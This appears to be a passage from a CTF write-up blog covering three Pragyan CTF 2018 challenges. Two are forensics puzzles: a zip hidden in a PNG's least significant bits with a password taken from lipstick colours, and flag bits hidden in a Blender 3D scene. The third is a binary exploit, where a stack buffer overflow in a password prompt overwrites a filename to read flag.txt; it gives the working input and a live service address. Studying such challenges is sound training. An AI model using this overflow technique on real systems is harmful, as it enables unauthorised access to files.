    00000040: 78 7c 20 6a 79 e8 39 99  c8 df ad 3d 9a c8 4b fc  |x| jy.9....=..K.|
    00000050: 53 1d db 6e 95 9d 07 ae  1c 91 eb fe a7 18 33 00  |S..n..........3.|
    00000060: 9e f5 12 8e 7f c6 e6 7e  1a c8 3d cf 94 97 2f b0  |.......~..=.../.|
    00000070: 96 64 f3 a7 d1 94 64 23  98 3f 47 50 4b 01 02 3f  |.d....d#.?GPK..?|
    00000080: 00 14 00 01 08 08 00 70  42 67 4c 37 20 ff 48 4d  |.......pBgL7 .HM|
    00000090: 00 00 00 43 00 00 00 08  00 24 00 00 00 00 00 00  |...C.....$......|
    000000a0: 00 20 00 00 00 00 00 00  00 66 6c 61 67 2e 74 78  |. .......flag.tx|
    000000b0: 74 0a 00 20 00 00 00 00  00 01 00 18 00 5b d9 a1  |t.. .........[..|
    000000c0: f6 a9 b5 d3 01 a5 f5 f6  76 a9 b5 d3 01 a5 f5 f6  |........v.......|
    000000d0: 76 a9 b5 d3 01 50 4b 05  06 00 00 00 00 01 00 01  |v....PK.........|
    000000e0: 00 5a 00 00 00 73 00 00  00 00 00 92 49 24 92 49  |.Z...s......I$.I|
    000000f0: 24 92 49 24 92 49 24 92  49 24 92 49 24 92 49 24  |$.I$.I$.I$.I$.I$|

On the top there's PK, that's the magic byte for zip! A zip hidden in lsb.

Extracting it with zsteg we have some trailing bytes, we can extract the zip itself with binwalk and verify using 7z:

$ zsteg 603fda27-2893-4e60-9d9f-39962b8c8440.png -E b1,bgr,lsb,xy > out
$ binwalk -e out
$ cd _out.extracted
$ 7z l 8.zip

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2018-03-06 17:19:31 ....A           67           77  flag.txt
------------------- ----- ------------ ------------  ------------------------
2018-03-06 17:19:31                 67           77  1 files


Next we needed to get the password. At this point we could assume they decided to go with a value from rockyou.txt, but asking the admins it turned out there was another part to the challenge missing.

Reframing with the idea of the challenge named "Lipstick" it seemed to suggest more than just lsb. There are 21 colors, which may map to some character for the zip, but we would need to map the colors to numbers somehow. It is also important for the stego designer to make this somewhat deterministic.

Looking through the color channels again in StegSolve, this turns up:


YSL: Yves Saint Laurent. A recognizable fashion brand which sells lipstick. This may lead us to something predictable!

Looking for lipstick on their online store we can find the full color palette - example.


The other interesting part here is that these colors have clear class names and distinct background colors.  This is perfect for identifying colors in the challenge!

Here's a small script which was used to scrape the colors from the palette:

a = {};

for (let i=0; i<59; ++i) {
  a[$('.swatch_color')[i].style['background-color']] = $('.swatch_color')[i].title;
}

JSON.stringify(a, null, 2);

This gives us a convenient JavaScript object we may query:

{
  "rgb(188, 11, 40)": "1 Le Rouge - Blood Red (Satin)",
  "rgb(184, 52, 75)": "04 Rouge Vermillon - Raspberry Red (Satin)",
  "rgb(221, 136, 133)": "06 Rose Bergamasque - Delicate Nude Pink (Satin)",
  "rgb(207, 26, 119)": "7 Le Fuchsia - Pure Saturated Fuschia (Satin)",
  "rgb(206, 135, 133)": "10 Beige Tribute - Dark Nude (Satin)",
  "rgb(194, 105, 111)": "11 Rose Carnation - Soft Peony Rose (Satin)",
  "rgb(213, 29, 55)": "13 Le Orange - Bright Orange (Satin)",
  "rgb(234, 94, 107)": "17 Rose Dahlia - Coral Orange (Satin)",
  "rgb(161, 24, 96)": "19 Fuchsia Pink - Bright Fuschia Pink (Satin)",
  "rgb(238, 133, 199)": "22 Pink Celebration - Bubble Gum Pink (Satin)",
  "rgb(235, 130, 98)": "23 Coral Poetique - Pink Coral (Satin)",
  "rgb(233, 152, 131)": "24 Blond Ingenu - Frosted Coral (Satin)",
  "rgb(218, 116, 155)": "26 Rose Libertin - Bright Purple Pink (Satin)",
  "rgb(208, 65, 121)": "27 Fuchsia Innocent - Hot Pink (Satin)",
  "rgb(235, 105, 92)": "36 Corail Legende - Orange Coral (Satin)",
  "rgb(202, 102, 174)": "49 Tropical Pink - Hot Pink (Satin)",
  "rgb(212, 18, 29)": "50 Rouge Neon - Bright Red (Satin)",
  "rgb(235, 85, 71)": "51 Corail Urbain - Medium Peach Orange (Satin)",
  "rgb(246, 98, 96)": "52 Rosy Coral - Rosy Coral (Satin)",
  "rgb(126, 69, 58)": "53 Beige Promenade - Browd Red (Satin)",
  "rgb(94, 35, 41)": "54 Prune Avenue - Dark Maroon (Satin)",
  "rgb(193, 9, 43)": "56 Orange Indie - Mauve (Satin)",
  "rgb(192, 8, 62)": "57 Luminous Pink - Magenta (Satin)",
  "rgb(165, 63, 103)": "58 Luminous Mauve - Bubblegum Pink (Satin)",
  "rgb(212, 122, 111)": "59 Golden Melon - Golden Orange (Satin)",
  "rgb(170, 64, 64)": "66 Rosewood - Soft Pink Nude (Satin)",
  "rgb(220, 53, 77)": "67 Rouge Heroine - Gold Metallic (Satin)",
  "rgb(203, 132, 123)": "70 Le Nu - Basic Nude (Satin)",
  "rgb(148, 23, 41)": "72 Rouge Vinyle - Deep Raspberry (Satin)",
  "rgb(215, 11, 22)": "73 Rhythm Red - Magenta Pink (Satin)",
  "rgb(229, 35, 23)": "74 Orange Electro - Electric Orange (Satin)",
  "rgb(183, 48, 62)": "75 Rose Mix - Deep Rose (Satin)",
  "rgb(209, 50, 116)": "76 Explicit Pink - Spring Pink (Satin)",
  "rgb(206, 10, 74)": "77 Fuschia Live - Blush Rose (Satin)",
  "rgb(161, 0, 6)": "201 Orange Imagine - Orange Red (Matte)",
  "rgb(161, 0, 52)": "202 Rose Crazy - Cranberry Red (Matte)",
  "rgb(167, 11, 35)": "203 Rouge Rock - Rich Red (Matte)",
  "rgb(131, 35, 37)": "204 Rouge Scandal - Maroon Red (Matte)",
  "rgb(97, 37, 29)": "206 Grenat Satisfaction - Brown Red (Matte)",
  "rgb(184, 20, 70)": "208 Fuchsia Fetiche - Raspberry Red (Matte)",
  "rgb(231, 51, 37)": "213 Orange Seventies - Orange with Brown undertones (Matte)",
  "rgb(215, 91, 89)": "214 Wood On Fire - Pinky Nude (Matte)",
  "rgb(184, 38, 59)": "216 Red Clash - Mauvey Red (Matte)",
  "rgb(201, 88, 108)": "217 Nude Trouble - Mauvey Beige (Matte)",
  "rgb(203, 93, 70)": "218 Coral Remix - Coral Nude (Matte)",
  "rgb(195, 1, 9)": "219 Rouge Tatouage – Vibrant Pink Red (Matte)",
  "rgb(230, 26, 1)": "220 Crazy Tangerine – Electric Orange (Matte)",
  "rgb(106, 19, 25)": "222 Black Red Code – Rust Red (Matte)",
  "rgb(51, 26, 19)": "225 - Minimal Black - Matte Finish - Black (Matte)",
  "rgb(165, 106, 92)": "340 Golden Copper - Reddish Pink (Satin)",
  "rgb(163, 77, 86)": "09 Rose Stiletto - Rich Berry Rose (Satin)",
  "rgb(92, 47, 44)": "205 Prune Virgin - Burgundy (Matte)",
  "rgb(174, 67, 95)": "207 Rose Perfecto - Blush Pink (Matte)",
  "rgb(226, 0, 74)": "211 Decadent Pink - Bright Pink (Matte)",
  "rgb(126, 32, 50)": "212 Alternative Plum - Burgundy Wine (Matte)",
  "rgb(207, 44, 125)": "215 Lust For Pink - Purple Bubblegum Pink (Matte)",
  "rgb(214, 0, 112)": "221 Rose Ink – Deep Mauve Pink (Matte)",
  "rgb(232, 11, 44)": "223 Corail Anti-Mainstream – Neon Coral (Matte)",
  "rgb(219, 90, 121)": "224 Rose Illicite – Creamy Dusty Pink (Matte)"
}

We can now query this based on values found inside the image. But how do we get those values in the image? At first trying macOS's digital color picker didn't work too well, instead let's use Python!

from PIL import Image

im = Image.open('603fda27-2893-4e60-9d9f-39962b8c8440.png')
rgb_im = im.convert('RGB')

for x in range(0, 21):
  r, g, b = rgb_im.getpixel((50 + (150 * x), 1))
  print(r, g, b)

This yields:

(188, 11, 40)
(208, 65, 121)
(212, 122, 111)
(194, 105, 111)
(235, 130, 98)
(207, 26, 119)
(192, 8, 62)
(188, 11, 40)
(188, 11, 40)
(209, 50, 116)
(106, 19, 25)
(188, 11, 40)
(188, 11, 40)
(212, 18, 29)
(215, 91, 89)
(221, 136, 133)
(206, 10, 74)
(212, 18, 29)
(126, 69, 58)
(215, 91, 89)
(221, 136, 133)

Now we can grep for each color in the JSON result, and produce integer values for each color's associated edition number:

$ IFS=$'\n'; for i in `cat image-colors` ; do grep $i ./lipsticks.json >> found; done
$ cat found | sed 's/.*: "//g;s/ .*//;s/^0*//'
1
27
59
11
23
7
57
1
1
76
222
1
1
50
214
6
77
50
53
214
6
$ cat found | sed 's/.*: "//g;s/ .*//;s/^0*//' | tr -d '\n'
1275911237571176222115021467750532146

Attempting this number didn't work for the password. Another hint came out about using binary, let's try with that:

$ cat found | cut -d: -f1 | xargs python -c 'import sys; print "".join([bin(int(x)).lstrip("0b") for x in sys.argv[1:]])'
1011111101011111001011100010101000101100011010100101010111001000111001010101101011100

Still doesn't work. Maybe we need to convert this to the character representation:

$ cat found | sed 's/.*: "//g;s/ .*//;s/^0*//' | xargs python -c 'import sys; print "".join([bin(int(x)).lstrip("0b") for x in sys.argv[1:]])' | perl -lpe '$_=pack"B*",$_'
白学家

Then extracting the archive we scraped earlier using this password, we get the flag:

$ cat flag.txt
flag{White_Album_is_Really_worth_watching_on_White_Valentine's_Day}

Tuesday, March 6, 2018

Pragyan CTF 2018 - INTO THE NEXT DIMENSION (250)



This was a very interesting challenge, had a lot of fun stepping through it.
First checking the file format, it looks like we have an FBX file exported from Blender:

$ strings -n 40 way_out.obj
Blender (stable FBX IO) - 2.79 (sub 0) - 3.7.13R
Blender (stable FBX IO) - 2.79 (sub 0) - 3.7.13

Blender is free open-source 3D software, grab a copy here - https://www.blender.org/
This was the challenge description:

Alice is stuck in a two-dimensional world and somehow needs to escape into reality, our three-dimensional world. In order to do so, she must crack a code hidden inside a file(named 'way_out.obj'). The only clues the two-dimensional Gods have given her is this:

clue_begin

0 - P(100, -5, 321), R(0, 90, 0) => pctf{
1 - P(-50, -33, 77), R(90, 0, 0)
2 - P(123, -5, 68), R(60, 30, 0)
3 - P(-89, 90, 0), R(34, 23, 32)
4 - P(-39, 40, 40), R(44, 55, 66)
P(111, 222, 333)
5-10 - Ears, eyes, nose and mouth
11 - Inside the key => 3}

You will never find a way out without colors.

clue_end

Help Alice get back to reality and hence find the flag. Good luck (Y).


Without opening the file yet, the clues look like 3D coordinates which may provide parts of the flag.
The vague "Ears, eyes, nose and mouth" clue is worrisome, but we'll get to that later.

Opening Blender we get a cube in the middle of the scene:


First we need to rename the way_out.obj to way_out.fbx for Blender to recognize it.
Deleting this cube and going to File > Import > FBX (.fbx) we can import our way_out.fbx file.


It looks like we have some nodes entering the scene including multiple Objects, Clues and a Key.

If we press the z key, it will turn off shading and go into wireframe mode.  We can zoom into see the first clue within the Key object:


Converting this to ASCII is simple with some python:

$ python
>>> chr(0b00110011) + chr(0b01111101)
'3}'

Looking back at the challenge description, we see 'Inside the key => 3}', which is now validated.
In the distance we can also see that cone includes some clues in it as well.


Now we have a bunch of coordinates in the description, we need to get around in this scene somehow.
We'll use the camera for that, if we zoom back out we can see the camera object to select:


With the camera selected, we can enable the Objects panel in the bottom right section of the UI:


This will allow us to transform the camera and move around the scene with ease.
We'll have to enable the camera by going to the bottom right View > Camera menu item.




Right now we'll want to enable shading again by hitting the 'z' key (this will become important soon) so we can see material colors.

Let's visit the first coordinate listed in the clues:

0 - P(100, -5, 321), R(0, 90, 0) => pctf{

To do this, we'll enter these coordinates in the Location & Rotation fields of the Object Panel:


We get this..... Not too useful....


If we zoom out slightly we see our first green value P(101.37,-5.31,320.99002), R(69,90,-1.6):



As the clue above hints at this also decodes to 'pctf{'.  Great! We're getting somewhere!

It's also worth noting at this point, the red values do not decode correctly to printable characters.
The hint mentions "You will never find a way out without colors." which in this context means -   green = good; red = ignore.

Next we'll go to #1, entering the coords we land inside a cube with a single character inside the clipping plane (for the remainder of challenges we'll use this plane as a boundary guide):


This decodes to '3'.

On the next one we have to zoom in a little (mouse wheel), also includes a red herring:


This decodes to 'd'.  Hey! we got 3d, maybe the flag spells something ; )

For #3, this was another where the camera is out of view because it landed right on top of the bits:


This is '>'.


With #4 we're placed between two objects, we need to zoom out slightly to check the green bits:


This is '2'.

Now we're at the dreaded monkey!  From the clues with vague descriptions:


Going into wireframe mode ('z') and clicking the clues in the object list we see where they are:



If you press spacebar, type separate, enter > by material, we'll be able to split these meshes into groups based on red & green, this could help soon.  We can also select the monkey and separate 'by loose parts' so we can select the head and use focus to work on that object alone.





We can also press the 'h' key on the monkey mesh to hide it while we work with the bits, that may also help.

The rest will be abbreviated.  We'll just need to travel from right to left for each entity copying the green values:



These decode to 'df0l1f', wrapping up the remaining pieces of the flag.

Adding everything together, we get the full flag:

pctf{3d>2df0l1f3}

Sunday, March 4, 2018

Pragyan CTF 2018 - Old school hack (200)


Pragyan had some fun challenges! There will be more writeups coming up soon for the CTF.
This binary Challenge wasn't very difficult, but the nostalgia of it was nice!

Here is the description:

Chris is trying out to be a police officer and the applications have just been sent into the police academy. He is really eager to find out about his competition. Help it him back the system and view the other applicant’s applications.

The service is running at 128.199.224.175:13000

We're given a x86-64 binary with NX & Canary enabled named police_academy.
Looking in Binary Ninja, we can immediately find out a few details which will help later when running through dynamic analysis.

First, there's a simple hard-coded password check on the binary:



After this it asks for a case number using scanf, uses a jump table to load a specific data filename onto the stack ($rbp-0x30) and then prints that file using print_record:


For the strings in Binary Ninja above, one useful feature is to hit the 'r' key to convert to character constants. The same was done for the jump to the flag setup:


The flag case exits which isn't very useful for us, so time to look elsewhere.

We can see all other cases converge onto this one block:


Note it's loading the filename string at rbp-0x30, 16 bytes after the password on the stack.
It's also interesting the existence check happens after the print.

Maybe we can overflow using password to add the path of flag.txt to the string referenced on the stack.

Looking back at the initial case comparison, there's a jump above instruction which will hit 0x400cb8 if the value is above 7:


Seems like we have a good amount of information to start dynamic analysis, let's run this binary!

Breaking at the ja destination, we'll inspect the stack value for filename to see if we can overflow into it. Remember the password is stored at rbp-0x40 and the filename is stored at rbp-0x30, that's a difference of 0x10 or 16 bytes. With that, let's try the overflow in GDB:

pwndbg> b *0x400cb8
Breakpoint 1 at 0x400cb8
pwndbg> r
Enter password to authentic yourself : kaiokenx20______AAAA
Enter case number:

   1) Application_1
   2) Application_2
   3) Application_3
   4) Application_4
   5) Application_5
   6) Application_6
   7) Flag

   Enter choice :- 9

pwndbg> x/s $rbp-0x40
0x7fffffffdf00: "kaiokenx20_____"...
pwndbg> x/s $rbp-0x30
0x7fffffffdf10: "AAAA"

Looks like it worked!

Repeating the same with flag.txt doesn't seem to work for some reason, let's look back at the disassembly....

In print_record, there's a compare for the filename size to be equal to 0x24 bytes:



This next part brings the nostolgia back, with path modification to work with this buffer size. We need to make this path 0x24 bytes while preserving validity of loading flag.txt. To do this we may add a bunch of slash characters when referencing it locally, ex.:

.///////////////////////////flag.txt

Combining this with our password, we get the following:

kaiokenx20______.///////////////////////////flag.txt

Running the binary with this password and a large > 7 (or underflowed negative) value for case number we drop the flag:

Enter password to authentic yourself :
Enter case number:

     1) Application_1
     2) Application_2
     3) Application_3
     4) Application_4
     5) Application_5
     6) Application_6
     7) Flag

     Enter choice :-


XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX



The flag is :- pctf{bUff3r-0v3Rfl0wS`4r3.alw4ys-4_cl4SsiC}